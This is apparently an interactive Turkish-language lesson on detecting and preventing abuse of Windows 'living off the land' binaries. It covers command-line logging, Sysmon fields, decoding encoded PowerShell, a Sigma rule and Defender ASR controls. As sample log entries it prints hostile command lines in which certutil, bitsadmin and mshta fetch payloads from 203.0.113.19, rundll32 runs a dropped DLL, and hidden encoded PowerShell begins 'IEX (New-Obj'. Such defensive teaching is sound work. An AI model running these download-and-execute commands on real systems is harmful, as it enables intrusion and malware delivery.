Yaşayan ikililer (LOLBins)
- certutil, mshta ve kodlanmış PowerShell kötüye kullanımını komut satırı, ebeveyn süreç ve dizinden tanır, görünürlüğü açar, önleyici kontrolleri kurarsın.
- Bu programlar imzalı ve meşrudur; tespit adı değil, kullanım biçimi üzerinden kurulur.
Puan bütün etkinlikleri cevaplayınca hesaba yazılır. Bu dersi tamamlayınca +60 XP alacaksın. Giriş yapmadan ilerlersen puan yalnız bu tarayıcıda durur.
Yaşayan ikili, sistemle birlikte gelen meşru bir programdır. İngilizce 'living off the land binary' ifadesinden kısaltılarak LOLBin diye anılır. Saldırgan bu programları sever, çünkü üç şey aynı anda doğrudur: program sistemde zaten bulunur, dijital imzası geçerlidir ve yöneticiler onu gün boyu kullanır.
Saldırgan ek dosya getirmediği için imza tabanlı savunma bir şey görmez; çoğu kural da bu adları izin listesinde tutar. Geriye yalnız davranış kalır.
Program hangi parametreyle, hangi ebeveynin altından, hangi dizinden çalıştı? ATT&CK bu aileyi büyük ölçüde Sistem İkilisi Üzerinden Yürütme (T1218) tekniğinde toplar. Eşlemede v19'u esas al: T1218, alt tekniği mshta için T1218.005 ve gizleme tekniği T1027 Gizlenme (Stealth) taktiğindedir. Dosya indirme T1105 ile Komuta ve Kontrol, PowerShell çalıştırma T1059.001 ile Yürütme taktiğine girer.
Meşru program, kötü kullanım
Örnekler tanıdıktır. certutil sertifika aracıdır ama dosya indirir. bitsadmin arka plan aktarım aracıdır, o da indirir. rundll32 kütüphane çağırır, mshta ise HTML uygulaması (HTA) çalıştırır.
Hepsi Windows'la gelir. Bu programları tek tek ezberlemen gerekmez; LOLBAS projesi onları bir katalogda toplar. Her ikili için bir sayfa vardır.
Sayfa programın yolunu, kötüye kullanılabilen işlevlerini ve her işlevin ATT&CK eşlemesini listeler: indirme, çalıştırma, kodlama ve çözme, alternatif veri akışına (ADS) yazma gibi. Sayfanın sonunda tespit bölümü durur: hazır Sigma kurallarının bağlantıları ve gözlenebilir izler (IOC). Linux ve Unix tarafında aynı işi GTFOBins yapar; kabuk açma, dosya okuma ve sudo ya da SUID ile yetki yükseltme gibi kullanımları listeler.
certutil.exe -urlcache -split -f http://203.0.113.19/a.exe C:\Users\Public\a.exe bitsadmin /transfer j /download http://203.0.113.19/b.dll C:\Users\Public\b.dll rundll32.exe C:\Users\Public\b.dll,Start mshta.exe http://203.0.113.19/x.hta powershell.exe -nop -w hidden -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoA
Zararlı kullanım isimden değil parametreden anlaşılır. certutil normalde sertifika doğrular ya da özet (hash) hesaplar; -urlcache ve -split parametreleriyle çalıştığında internetten dosya indirir, bu ikinci kullanım şüphelidir. powershell.exe -File ile yerel bir betik açmak sıradandır, ama -enc ile kodlanmış komut çalıştırmak nadiren meşrudur.
mshta.exe'nin yerel bir dosyayı açması farklıdır, uzak bir adresten .hta çekmesi farklıdır; ikincisi neredeyse her zaman kötüye kullanımdır. rundll32.exe de aynı şekilde çalışır: bilinen bir sistem kütüphanesinden denetim masası ögesi açması normaldir, bilinmeyen bir yoldaki kütüphaneyi çağırması değildir. Aynı programın iki satırını yan yana koyup parametreyi karşılaştırmak en hızlı ayırt etme yoludur.
Etkinlik 1 / 7
4688 süreç kayıtlarında kötüye kullanım satırlarını işaretle.
Şüpheli satırlara tıkla. Birden fazla olabilir.
Vaka: certutil
certutil bu ailenin en iyi ders kitabıdır. LOLBAS sayfası onun için birkaç kötüye kullanım listeler. -urlcache ve -verifyctl parametreleriyle uzak bir adresten dosya indirir; bu kullanım Araç Aktarımı (T1105) tekniğine eşlenir. -encode ile bir dosyayı Base64'e çevirir, -decode ile geri açar.
İlki gizlemeye (T1027.013), ikincisi çözmeye (T1140) eşlenir. İndirdiği dosyayı NTFS alternatif veri akışına da yazabilir. Sayfa üç gözlenebilir iz verir: certutil'in diske yeni dosya yazması ve vekil sunucu günlüğünde iki kullanıcı ajanı, Microsoft-CryptoAPI/10.0 ile CertUtil URL Agent. Aynı davranışı üç ayrı yerden görebilirsin: süreç kaydında komut satırı, dosya sisteminde yeni dosya, ağda kullanıcı ajanı.
2026-09-18T08:42:17Z 10.20.30.61 GET http://203.0.113.19/r.dat 200 48213 "CertUtil URL Agent" 2026-09-18T08:42:17Z 10.20.30.61 GET http://203.0.113.19/r.dat 200 48213 "Microsoft-CryptoAPI/10.0" 2026-09-18T08:43:02Z 10.20.30.61 CONNECT portal.tedarikci.example:443 200 15872 "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
Vekil sunucu kaydını oku. İlk iki satır aynı saniyede, aynı makineden, aynı adrese iki istektir. Kullanıcı ajanları LOLBAS'ın listelediği değerlerdir ve bir tarayıcı bu ajanlarla istek atmaz. Hedef bir alan adı değil, çıplak bir IP adresidir; dosya uzantısı da sıradan bir veri dosyası gibi görünür.
Üçüncü satır sıradan bir tarayıcı bağlantısıdır. Tek bir sorgu bütün kurumdaki certutil indirmelerini gösterir: kullanıcı ajanında CertUtil ya da CryptoAPI geçen istekler. Yine de ajanı tek başına alarm sayma.
Windows sertifika iptal listelerini indirirken de CryptoAPI ajanını kullanır. Hedefi, saati ve dosya türünü birlikte oku.
Derinleş:Alternatif veri akışları (ADS)
NTFS'te bir dosya, ana içeriğin yanında adlandırılmış ek veri akışları taşıyabilir. rapor.txt dosyasının görünen boyutu bir kilobayt olabilir, ama rapor.txt:gizli adlı bir akışta megabaytlarca veri durabilir. Gezgin bu akışları göstermez, dir komutu da varsayılan olarak göstermez.
Meşru bir örnek her gün karşına çıkar: internetten indirilen dosyalara eklenen Zone.Identifier akışı. Windows bu akışa dosyanın nereden geldiğini yazar ve Office'in korumalı görünümü bu bilgiyi kullanır. Saldırgan ise aynı mekanizmayı yükü saklamak için kullanır.
LOLBAS, certutil'in indirdiği dosyayı doğrudan bir akışa yazabildiğini listeler. Akışları görmek için dir /r komutunu ya da PowerShell'de Get-Item -Stream * parametresini kullanırsın. Sysmon'un 15 numaralı olayı akış oluşturulduğunda içeriğin özetini yazar. Zone.Identifier dışındaki akışlar, özellikle Public ve Temp altında, incelemeye değer.
Etkinlik 2 / 7
certutil ile uzaktan dosya indirme denemelerini yakalayan düzenli ifade yaz.
Yazdıkça eşleşen satırlar işaretlenir. Hedef: yalnız doğru satırlar eşleşsin.
Ayrım nerede? Adda değil, argümanda. certutil özet hesaplarken normaldir, urlcache parametresiyle indirme yaparken değildir. Kuralını bu yüzden komut satırı üzerine kurarsın.
Süreç adını yakalayan kural gürültüden boğulur, çünkü yöneticiler certutil'i her gün sertifika işleri için çalıştırır. Tek bir parametre de yetmeyebilir. İndirme -urlcache yerine -verifyctl ile yapılırsa, yalnız ilk parametreyi arayan kural kör kalır. LOLBAS sayfasındaki bütün indirme parametrelerini kurala ekle ve listeyi düzenli aralıklarla gözden geçir.
Etkinlik 3 / 7
certutil kullanımını kötüye kullanımdan ayıran ana ölçüt nedir?
Görünürlük: komut satırı ve özgün ad
Komut satırı tabanlı tespit, komut satırının kayda düşmesine bağlıdır. Windows'ta iki ayar gerekir. Birincisi gelişmiş denetim ilkesindeki Ayrıntılı İzleme (Detailed Tracking) altında bulunan Audit Process Creation ayarıdır; 4688 olayını bu ayar üretir.
İkincisi Yönetim Şablonları, Sistem, Audit Process Creation altındaki 'Include command line in process creation events' ilkesidir. Bu ilke varsayılan olarak kapalıdır. Açık değilse 4688 yalnız program adını yazar, parametreyi yazmaz ve buradaki kuralların hiçbiri çalışmaz.
Sysmon kuruluysa 1 numaralı olay komut satırını zaten taşır. Yanında Image, ParentImage, ParentCommandLine, Hashes ve OriginalFileName gibi alanlar da verir.
Saldırganlar adı değiştirerek gizlenmeyi dener. Programın kopyası başka bir adla başka bir dizine konur. Bu yüzden kuralı yalnız dosya adına bağlama. OriginalFileName alanı, programın derlenirken içine yazılan özgün adı taşır ve dosya yeniden adlandırılsa da değişmez.
certutil'in özgün adı CertUtil.exe'dir. Aşağıdaki PowerShell komutu Sysmon günlüğünden özgün adı CertUtil.exe olan ama Windows dizini dışında çalışan süreçleri listeler. Komut yalnız okur, hiçbir şeyi değiştirmez.
PS> Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon/Operational'; Id=1} |
ForEach-Object {
$v = @{}
([xml]$_.ToXml()).Event.EventData.ChildNodes | ForEach-Object { $v[$_.Name] = $_.'#text' }
[pscustomobject]$v
} |
Where-Object { $_.OriginalFileName -eq 'CertUtil.exe' -and
$_.Image -notmatch '\\Windows\\(System32|SysWOW64)\\certutil\.exe$' } |
Format-List UtcTime, Image, ParentImage, CommandLine
UtcTime : 2026-09-18 08:42:17.305
Image : C:\Users\Public\Libraries\cu.exe
ParentImage : C:\Windows\System32\cmd.exe
CommandLine : cu.exe -urlcache -split -f http://203.0.113.19/r.dat C:\Users\Public\Libraries\r.datKomutu satır satır oku. FilterHashtable yalnız Sysmon kanalındaki 1 numaralı olayları çeker, bu yüzden hızlıdır. ToXml her olayı XML'e çevirir; EventData altındaki her alt düğüm, adıyla bir özelliğe dönüşür.
Where-Object iki koşul arar: özgün ad CertUtil.exe olmalı ve yol System32 ya da SysWOW64 altındaki asıl certutil olmamalı. Sonuç tek satırdır. cu.exe adlı bir dosya Public altında çalışmış ve komut satırında -urlcache taşıyor.
Image alanı certutil.exe ile biten bir kural bu satırı hiç görmezdi. Kopyayı yakalayan, programın adı değil, içine gömülü kimliğidir. Aynı mantığı SIEM'de de kur: özgün ad ile görünen ad uyuşmuyorsa ayrıca incele.
Etkinlik 4 / 7
Doğru mu, yanlış mı?
certutil'in bir kopyası cu.exe adıyla Public dizinine konduğunda Sysmon'un OriginalFileName alanı da cu.exe olarak değişir.
Kodlanmış PowerShell ve betik günlüğü
Yüzlerce karakterlik, kodlanmış metin taşıyan komut satırları insan elinden çıkmaz; uzunluk eşiği bu yüzden iyi bir ön elemedir. Kodlanmış komutu çözmek ise analizi hızlandırır. PowerShell'in -EncodedCommand parametresi Base64 ile kodlanmış bir metin alır.
Metin UTF-16LE biçimindedir, yani her karakter iki bayt yer kaplar. Bu yüzden çözerken UTF-8 değil UTF-16LE kullanırsın; aksi hâlde harflerin arasına boş baytlar girer. Aşağıdaki iki satır, 4688 kaydından alınan değeri yalnız okumak için çözer ve hiçbir şey çalıştırmaz. Çözme işini analiz makinende yap, şüpheli makinede değil.
PS> $b64 = 'SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoA' PS> [Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($b64)) IEX (New-Obj
Çıktıyı oku. IEX, Invoke-Expression komutunun kısaltmasıdır ve bir metni komut gibi çalıştırır. Arkasından gelen New-Object çoğu zaman bir web istemcisi kurar. Bu ikili, uzaktan betik çekip bellekte çalıştıran kalıbın başıdır.
Metnin yarıda kesildiğine dikkat et. Kayıttaki komut satırı kırpılmış, bu yüzden adres görünmüyor ve kırpılmış delil sonradan tamamlanamaz.
Asıl çözüm komut satırına muhtaç kalmamaktır. Betik Bloğu Günlüğü (Script Block Logging) açıksa PowerShell, işlediği her betik bloğunun içeriğini 4104 olayıyla Microsoft-Windows-PowerShell/Operational günlüğüne yazar. Kodlanmış komut oraya çözülmüş metin olarak düşer.
Betik Bloğu Günlüğü'nü grup ilkesiyle açarsın: Yönetim Şablonları, Windows Bileşenleri, Windows PowerShell altındaki 'Turn on PowerShell Script Block Logging' ayarı. Modül günlüğü de aynı yerdedir ve cmdlet çağrılarını kaydeder. Bir bedeli vardır: betiklerin içine yazılmış parolalar ve anahtarlar da günlüğe düşer. Günlüğü ele geçiren saldırgan bu bilgiyle ilerler.
Microsoft bu yüzden tanılama dışındaki kullanımlarda Korumalı Olay Günlüğü'nü (Protected Event Logging) önerir. Bu özellik günlükteki hassas içeriği CMS standardıyla, açık anahtarla şifreler. Özel anahtar yalnız merkezî toplayıcıda durur ve içerik orada çözülür.
Etkinlik 5 / 7
Betik Bloğu Günlüğü açıkken PowerShell, işlediği betik bloğunun içeriğini hangi olay numarasıyla yazar? ____
Ebeveyn, dizin ve önleme
İkinci güçlü sinyal ebeveyn süreçtir. winword.exe altından çalışan mshta, excel.exe altından çalışan powershell neredeyse her zaman makro kaynaklıdır. Belge açan program neden komut çalıştırsın? Ofis programlarının altında komut kabuğu ya da betik motoru görmek makro, ek ya da bağlantı kaynaklı bir zincire işaret eder.
wmiprvse.exe farklıdır. WMI sağlayıcı süreci PowerShell başlatıyorsa komut çoğu zaman başka bir makineden, WMI üzerinden gönderilmiştir. Bu yanal hareketin sık izlerinden biridir, ama bazı yönetim araçları da aynı ilişkiyi üretir; tablo bu yüzden 'kötü' değil 'incele' der.
Olağan ilişkileri bilmek işi hızlandırır. SANS'ın Hunt Evil posteri temel Windows süreçlerinin olağan ebeveynini, yolunu ve kullanıcı hesabını tek sayfada verir. Üçüncü sinyal dizindir: Public, Temp ve AppData gibi yazılabilir dizinlerden çalışan ikili şüphelidir.
Ebeveyn Çocuk Değerlendirme winword.exe cmd, powershell, mshta İncele: makro izi excel.exe powershell, wscript, rundll32 İncele: makro izi outlook.exe mshta, wscript, powershell İncele: ek ya da bağlantı wmiprvse.exe powershell İncele: uzaktan WMI ile çalıştırma explorer.exe winword.exe Olağan: kullanıcı belgeyi açtı services.exe svchost.exe Olağan: hizmet başlatma
Üç sinyali bir Sigma kuralında birleştir: argüman, ebeveyn ve dizin. Aşağıdaki kuralda secim_ikili PowerShell'i hem dosya adından hem özgün addan tanır, böylece yeniden adlandırılmış kopya da düşer. secim_arguman kodlanmış komut parametresinin yazım biçimlerini arar.
PowerShell bu parametreyi -EncodedCommand, -enc, -ec ve -e gibi kısaltmalarla da kabul eder. ' -en' uzun biçimleri birlikte kapsar, windash da tire yerine eğik çizgiyle yazılanları yakalar. Bu kısa parça -Encoding parametresine de uyar; filter_main_kodlama o yanlış eşleşmeyi dışarıda bırakır.
secim_ebeveyn ofis programlarını, secim_dizin yazılabilir dizinden çalışan ebeveyni arar. filter_main_yonetim, kodlanmış komutla çalıştığı bilinen yönetim ajanını dışarıda tutar. Koşul satırı argümanı zorunlu tutar, ikinci sinyal olarak ebeveyni ya da dizini ister. Kuralı canlıya almadan önce kendi lab ortamında sına.
title: Office altından ya da yazılabilir dizinden kodlanmış PowerShell
status: experimental
logsource:
category: process_creation
product: windows
detection:
secim_ikili:
- Image|endswith: '\powershell.exe'
- OriginalFileName: 'PowerShell.EXE'
secim_arguman:
CommandLine|contains|windash:
- ' -e '
- ' -ec '
- ' -en'
secim_ebeveyn:
ParentImage|endswith:
- '\WINWORD.EXE'
- '\EXCEL.EXE'
- '\OUTLOOK.EXE'
secim_dizin:
ParentImage|contains:
- '\Users\Public\'
- '\AppData\Local\Temp\'
filter_main_kodlama:
CommandLine|contains: ' -Encoding '
filter_main_yonetim:
ParentImage: 'C:\Program Files\YonetimAjani\ajan.exe'
condition: secim_ikili and secim_arguman and (secim_ebeveyn or secim_dizin) and not 1 of filter_main_*
level: high
tags:
- attack.execution
- attack.t1059.001Tespit olayı yakalar, önleme olayı hiç başlatmaz. Microsoft Defender'ın saldırı yüzeyi azaltma (ASR) kurallarından biri bu aileyi doğrudan hedefler: Block all Office applications from creating child processes.
Kural Office uygulamalarının yeni süreç başlatmasını engeller; önce denetim modunda açılır ve etkisi ölçülür. App Control for Business (eski adıyla WDAC) ya da AppLocker ile hangi programın çalışabileceğini önceden belirlersen, yaşayan ikililerin çoğu kullanıcı bağlamında çalışamaz. Kurumda kullanmadığın wscript ve cscript gibi betik motorlarını da kapat.
Tespit tarafında dört hata sık görülür. Birincisi süreç adına dayalı kuraldır. İkincisi kapalı komut satırı denetimine güvenmektir.
Üçüncüsü SIEM'e kırpılarak giden komut satırıdır. Dördüncüsü -e ya da -ec gibi yazım biçimlerini kaçırmaktır. Bulduğun her kötüye kullanımı kurala çevir; aynı ikiliyi aynı biçimde kullanan ikinci bir olay büyük olasılıkla gelir.
Etkinlik 6 / 7
Kontrolleri yaptıkları işle eşle.
Etkinlik 7 / 7
Doğru mu, yanlış mı?
Excel altından başlayan powershell.exe süreci, tek başına incelemeye değer bir sinyaldir.
Okumayı istediğin sırayla sürdürebilirsin. Ders, bütün etkinlikleri cevapladığında tamamlanır.